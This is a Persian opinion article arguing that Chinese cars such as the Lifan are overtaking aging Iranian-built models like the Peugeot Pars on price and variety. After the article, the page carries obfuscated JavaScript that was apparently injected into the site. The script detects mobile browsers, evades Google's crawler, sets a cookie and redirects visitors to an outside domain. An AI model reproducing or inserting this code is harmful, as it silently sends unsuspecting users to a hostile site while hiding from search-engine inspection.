باید واقعیت را پذیرفت! این یک سوناتا نیست یک لیفان است.
اکنون چند سالی است خودروهای چینی به کشور راه یافته و جای خود را در میان مصرف کنندگان ایرانی پیدا کرده‌اند. هر چقدر هم انگ چینی بودن را به این محصولات بچسبانیم، باز مردم از خرید اتومبیل چینی دست بر نمیدارند.
البته زنگ خطر هجوم چینی‌ها برای دیگر برندهای بازار از مدتها قبل نواخته شده و تولید کنندگان چینی پاشنه آشیل بازار خودرو را هدف گرفته اند. آنها با هوشیاری و تیز بینی از دو نقطه ضعف حاکم بر بازار خودروهای ارزان قیمت و یا با قیمت متوسط استفاده کردند؛ یعنی قیمتهای بالا و عدم تنوع. بگذارید از مقوله کیفیت عبور کنیم زیرا قیاس یک خودروی چینی با یک خودروی تولید داخل اصلا قیاس درستی نیست. به عنوان مثال برخی از فعالان حوزه خودرو در مقام قیاس، خودرو لیفان 620 را با پژو پارس مقایسه می کنند. به ایشان حق می دهم،چون به زعم خویش نزدیکترین خودرو را برای قیاس برگزیده اند.
اما این قیاس در هیچ جای دنیا انجام نمی شود چون شما هیچگاه پژو آردی را با میتسوبیشی لنسر مقایسه نمیکنید. اگر چه هر دوی آنها دارای موتور 1600 سی سی باشند.
باید واقعیت را قبول کرد. چینی ها روزگاری کپی کارهای بی دقت و با اشکالات فراوانی بودند. حتی در محصولات تولیدی و غیر کپی هم به علت تازه کار بودن، عدم تناسبات در طراحی به نحو چشمگیری وجود داشت. نمونه های این عدم تناسبات در طراحی MVM 530 و نیز لیفان520 میتوان مشاهده کرد.
اما چینی‌ها نشان دادند که همانطور که در بقیه حوزه‌های با سرعتی خیره کننده در حال پیشرفت هستند در صنعت خودرو نیز در حال باز کردن جای پای خود در دنیا هستند. آنها با خریدن سهام شرکتهای ورشکسته یا در آستانه ورشکستگی کره ای و اروپایی و همکاری و شراکت تجاری با برخی ژاپنی‌ها در زمینه کسب تکنولوژی در حال طی کردن جاده پیشرفت هستند، آنهم به سرعت؛ کاری که صنایع خودرو سازی ما با سرعتی لاک پشت وار انجام میدهند.
هم اکنون معتبر ترین برندهای خودروسازی جهانی در چین خط مونتاژ دارند و خودروهای تولیدی از آنجا صادر می شود.
کم کم باید با خودرو های چینی کم کیفیت و با اشکال عجیب و غریب خداحافظی کنیم. آنها راز ماندگاری در بازار را می دانند. برای بازار تشنه و مستعد ایران چیزی مهمتر از تنوع محصول و قیمت نیست.
باید واقعیت را پذیرفت که پژو پارس فقط یک افسانه است. خودرویی با پلت فرم 30 سال پیش به عنوان خودروی لوکس تولید کننده وطنی عرضه می شود.
می توان پیش بینی کرد در آینده‌ای نزدیک و با ورود خودروهای جدید چینی سهم بازار از دست خودروسازان داخلی خارج شود.
هم اکنون به نظر می رسد دو دلیل عمده هنوز مصرف کننده ایرانی را در قبال خرید خودرو چینی مردد می کند. اول افت قیمت شدید خودروهای چینی در نمونه های دست دوم و دیگری ضعف در خدمات بعد از فروش.
اما مورد اول یعنی افت قیمت شدید در نمونه های دست دوم ناشی از نگرانی مصرف کننده به آینده است. یعنی چه پس از خدمات بعد از فروش و چه از بعد آن، اقبال بازار یک نگرانی سنتی در مورد خودروهای چینی وجود دارد. اگر چه شرکتهای نمایندگی محصولات چینی به وضوح دارای خدمات بهتر بعد از فروش نسبت به خودرو سازان داخلی می باشند. زیرا پیدا شدن قطعات یک خودروی ۳۰ ساله هیچ افتخاری ندارد.
به نظر نگارنده حداقل در نمایندگی خودرو سازان غیر وطنی احترام به مشتری و ادب حرف اول را میزند. خوب به این نکته دقت کنید: پراید و پژو در انواع مختلف خود که در یک سپر و داشبورد با هم تفاوت دارند عمده سهم بازار خودرو کشور را در اختیار دارند و این یعنی اینکه عمده بازار خودرو کشور در اختیار خودرو های 30 سال قبل است.
حال این سوال مطرح می شود که چرا چینی های متبحر در زمینه تولید خودروهای به روز و ارزانقیمت هنوز برای رقابت با پراید و پژو نماینده‌ای ندارند؟
قضاوت با شما…
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
